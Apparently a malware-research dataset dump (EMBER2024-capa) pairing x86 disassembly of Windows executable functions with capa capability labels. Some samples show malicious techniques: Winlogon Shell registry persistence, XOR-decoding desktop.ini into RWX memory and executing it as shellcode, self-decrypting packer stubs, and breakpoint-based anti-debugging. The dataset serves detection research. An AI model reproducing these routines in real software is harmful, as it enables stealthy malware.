joyce8/EMBER2024-capa huggingface dataset:
Function at 0x480fc4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
push 0x40
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x481022
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
jne 0x481022
mov eax, dword [ebp - 4]
cmp dword [eax + 0x3c], 0
je 0x481022
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
push 0x108
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x48101d
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x481022
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
pop ecx
pop ecx
pop ebp
ret

Function at 0x48e310
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
sub dword [ebp - 8], 6
mov byte [ebp - 0xd], 0
jmp 0x48e44a
push 6
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax], 0xc2
jne 0x48e385
mov eax, dword [ebp - 8]
cmp byte [eax + 3], 0x90
jne 0x48e366
mov eax, dword [ebp - 8]
cmp byte [eax + 4], 0x90
jne 0x48e366
mov eax, dword [ebp - 8]
cmp byte [eax + 5], 0x90
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax + 3], 0xcc
jne 0x48e385
mov eax, dword [ebp - 8]
cmp byte [eax + 4], 0xcc
jne 0x48e385
mov eax, dword [ebp - 8]
cmp byte [eax + 5], 0xcc
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax], 0xc3
jne 0x48e3cb
mov eax, dword [ebp - 8]
cmp byte [eax + 1], 0x90
jne 0x48e3ac
mov eax, dword [ebp - 8]
cmp byte [eax + 2], 0x90
jne 0x48e3ac
mov eax, dword [ebp - 8]
cmp byte [eax + 3], 0x90
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax + 1], 0xcc
jne 0x48e3cb
mov eax, dword [ebp - 8]
cmp byte [eax + 2], 0xcc
jne 0x48e3cb
mov eax, dword [ebp - 8]
cmp byte [eax + 3], 0xcc
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax], 0xe9
jne 0x48e409
mov eax, dword [ebp - 8]
cmp byte [eax + 5], 0x90
jne 0x48e3ee
mov eax, dword [ebp - 8]
cmp byte [eax + 6], 0x90
jne 0x48e3ee
mov eax, dword [ebp - 8]
cmp byte [eax + 7], 0x90
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax + 5], 0xcc
jne 0x48e409
mov eax, dword [ebp - 8]
cmp byte [eax + 6], 0xcc
jne 0x48e409
mov eax, dword [ebp - 8]
cmp byte [eax + 7], 0xcc
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax], 0xeb
jne 0x48e447
mov eax, dword [ebp - 8]
cmp byte [eax + 2], 0x90
jne 0x48e42c
mov eax, dword [ebp - 8]
cmp byte [eax + 3], 0x90
jne 0x48e42c
mov eax, dword [ebp - 8]
cmp byte [eax + 4], 0x90
je 0x48e45a
mov eax, dword [ebp - 8]
cmp byte [eax + 2], 0xcc
jne 0x48e447
mov eax, dword [ebp - 8]
cmp byte [eax + 3], 0xcc
jne 0x48e447
mov eax, dword [ebp - 8]
cmp byte [eax + 4], 0xcc
je 0x48e45a
dec dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
ja 0x48e32c
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov esp, ebp
pop ebp
ret
Function at 0x495824
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x10
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00407d78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00407bf4
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x495864
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00407d78
jmp 0x49586c
mov eax, dword [ebp - 4]
call fcn.00407014
pop ecx
pop ecx
pop ebp
ret
Function at 0x495870
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
xor ebx, ebx
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x495a87
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00407014
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 0x495aa4
call fcn.00407f88
je 0x495a5c
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x495a5c
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0xf8]
xor ecx, ecx
mov edx, 0xc8
call fcn.00404dec
mov dword [ebp - 0x18], 0xc8
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00407bf4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_LookupAccountNameW
mov eax, dword [ebp - 0x14]
call fcn.0040480c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00407bf4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_LookupAccountNameW
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x495986
mov edx, dword [ebp - 0x14]
add edx, edx
mov eax, dword [ebp + 8]
call fcn.00407d78
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00407bf4
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
call fcn.0044afac
mov eax, dword [ebp - 0x10]
call fcn.00404840
cmp byte [ebp - 5], 0
je 0x4959fa
lea eax, [ebp - 0x24]
call fcn.00495824
lea eax, [ebp - 0xfc]
lea edx, [ebp - 0xf8]
mov ecx, 0x64
call fcn.00407ca0
cmp dword [ebp - 0xfc], 0
setne al
test al, al
je 0x4959d5
lea eax, [ebp - 0x28]
lea edx, [ebp - 0xf8]
mov ecx, 0x64
call fcn.00407ca0
jmp 0x4959e0
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x24]
call fcn.0040743c
push dword [ebp - 0x28]
push 0x495aa4
mov eax, dword [ebp - 4]
push dword [eax]
mov eax, dword [ebp - 4]
mov edx, 3
call fcn.00407ed8
mov eax, dword [ebp + 8]
cmp dword [eax], 0
sete al
and al, byte [ebp + 0xc]
je 0x495a5c
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00407bf4
push eax
call sub.kernel32.dll_lstrlenW_1
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
add edx, edx
mov eax, dword [ebp + 8]
call fcn.00407d78
lea edx, [ebp - 0x100]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0041c274
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00407bf4
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
call fcn.0044afac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495a8e
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.00407074
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00407074
ret
Function at 0x4962d8
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004070f8
xor eax, eax
push ebp
push 0x496395
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x496367
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00407bf4
push eax
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x496346
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetFileSize
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
jmp 0x496354
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49637f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49639c
lea eax, [ebp - 4]
call fcn.00407014
ret

Function at 0x4a2564
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
mov dword [ebp - 0x118], 0x114
lea eax, [ebp - 0x118]
push eax
call sub.kernel32.dll_GetVersionExW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp dword [ebp - 0x108], 2
sete byte [0x5478e5]
cmp dword [ebp - 0x114], 6
setae byte [0x5478e4]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x4a4948
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004070f8
xor eax, eax
push ebp
push 0x4a49d0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xa], 0
cmp byte [ebp - 9], 0
je 0x4a4994
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00407bf4
push eax
call sub.kernel32.dll_CreateDirectoryW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xa], al
jmp 0x4a49ba
cmp dword [ebp - 8], 0
je 0x4a49ba
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
push eax
push 4
mov eax, dword [ebp - 4]
call fcn.00407bf4
push eax
call sub.advapi32.dll_SetFileSecurityW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xa], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a49d7
lea eax, [ebp - 4]
call fcn.00407014
ret
Function at 0x4a49e0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 6], cl
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004070f8
xor eax, eax
push ebp
push 0x4a4b35
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 7], 0
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [0x4bd998]
cmp byte [eax], 0
je 0x4a4ada
push 1
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, dword [0x4a3f28]
call fcn.00408e04
add esp, 4
mov eax, dword [ebp - 0x10]
call fcn.00407014
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xc], 0x1fffff
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x10], 1
lea eax, [ebp - 0x10]
call fcn.004a3f68
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4a4aa5
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0xc], eax
push 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
push 0
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 7], al
cmp dword [ebp - 0xc], 0
jne 0x4a4ab1
cmp byte [ebp - 7], 0
je 0x4a4aec
mov dword [ebp - 0x1c], 0xc
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xffffffff
push ebp
lea edx, [ebp - 0x1c]
mov cl, byte [ebp - 6]
mov eax, dword [ebp - 4]
call fcn.004a4948
pop ecx
mov byte [ebp - 7], al
jmp 0x4a4aec
push ebp
mov cl, byte [ebp - 6]
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.004a4948
pop ecx
mov byte [ebp - 7], al
cmp byte [ebp - 5], 0
je 0x4a4b02
push 6
mov eax, dword [ebp - 4]
call fcn.00407bf4
push eax
call sub.kernel32.dll_SetFileAttributesW
cmp dword [ebp - 0xc], 0
je 0x4a4b11
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LocalFree_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a4b3c
lea eax, [ebp - 0x10]
mov edx, dword [0x4a3f28]
call fcn.00408e10
lea eax, [ebp - 4]
call fcn.00407014
ret
Function at 0x1001874
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x1001d38
call fcn.01001a34
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x1003378
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x100162f
cmp eax, esi
jne 0x1001622
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1001632
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1001609
xor esi, esi
inc esi
mov eax, dword [0x1003374]
cmp eax, esi
jne 0x1001645
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1001674
mov eax, dword [0x1003374]
test eax, eax
jne 0x100166e
mov dword [0x1003374], esi
push 0x10010fc
push 0x10010f0
call fcn.0100156b
pop ecx
pop ecx
test eax, eax
je 0x1001674
jmp 0x1001798
mov dword [0x1003038], esi
mov eax, dword [0x1003374]
cmp eax, esi
jne 0x1001698
push 0x10010ec
push 0x10010e4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1003374], 2
cmp dword [ebp - 0x20], ebx
jne 0x10016a5
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x100337c], ebx
je 0x10016c6
push 0x100337c
call fcn.010019a9
pop ecx
test eax, eax
je 0x10016c6
push ebx
push 2
push ebx
call dword [0x100337c]
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
cmp dword [eax], ebx
je 0x1001798
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp cx, 0x20
ja 0x1001730
cmp cx, bx
je 0x10016eb
cmp dword [ebp - 0x1c], ebx
jne 0x1001730
movzx ecx, word [eax]
cmp cx, bx
je 0x1001700
cmp cx, 0x20
ja 0x1001700
inc eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x10016eb
test byte [ebp - 0x40], 1
je 0x100170c
movzx ecx, word [ebp - 0x3c]
jmp 0x100170f
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x1000000
call main
mov dword [0x1003034], eax
cmp dword [0x1003028], ebx
jne 0x1001775
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cx, 0x22
jne 0x1001741
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
inc eax
inc eax
jmp 0x10016d5
cmp dword [0x1003038], ebx
jne 0x1001783
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1003034]
jmp 0x10017a4
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.01001a79
ret
call fcn.01001b81
jmp 0x10015cc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x403e70
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41517b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x41c490]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], 0x419094
call fcn.004051a1
push 4
mov dword [ebp - 4], 0
call fcn.004068d8
mov edi, eax
add esp, 4
test edi, edi
je 0x403eec
call fcn.00404f9c
mov dword [edi], eax
call fcn.00404d5b
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00405162
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403ee2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040518a
jmp 0x403eee
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4040b0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x118
lea ecx, [esp + 4]
push edi
push eax
push str.Explorer.exe__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
push eax
push 1
push 0
push str.Shell
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x118
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x412470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x47b0fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x41252a
cmp byte [esi + 0x3d], 0
je 0x41252a
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x412518
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4124e0
sub eax, 1
je 0x4124e4
sub eax, 2
jne 0x412518
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00437624
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x412501
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00446c29
add esp, 0x10
cmp edi, eax
jne 0x412518
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00437624
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00437624
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00437624
mov esp, ebp
pop ebp
ret
Function at 0x419cb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46085d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x47b0fc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.004375e6
mov edi, eax
add esp, 4
test edi, edi
je 0x419d4d
push 1
mov dword [ebp - 4], 0
call fcn.004365c4
add esp, 4
mov dword [edi + 4], eax
jmp 0x419d4f
xor edi, edi
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 0
mov edi, dword [edi + 4]
mov ecx, edi
mov dword [ebp - 0x10], edi
mov eax, dword [edi]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.0040b890
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov eax, dword [edx + 0x20]
call eax
mov dword [ebp - 4], 0xffffffff
mov bl, al
test edi, edi
je 0x419daa
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 8]
test eax, eax
je 0x419daa
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], bl
jne 0x419dc6
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x10]
and eax, 0x13
or eax, 4
mov dword [esi + 0xc], eax
and ecx, eax
jne 0x419de9
cmp byte [ebp + 0xc], 0
je 0x419dd5
push esi
call fcn.00436ab3
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test cl, 4
je 0x419df5
mov esi, str.ios_base::badbit_set
jmp 0x419e05
test cl, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
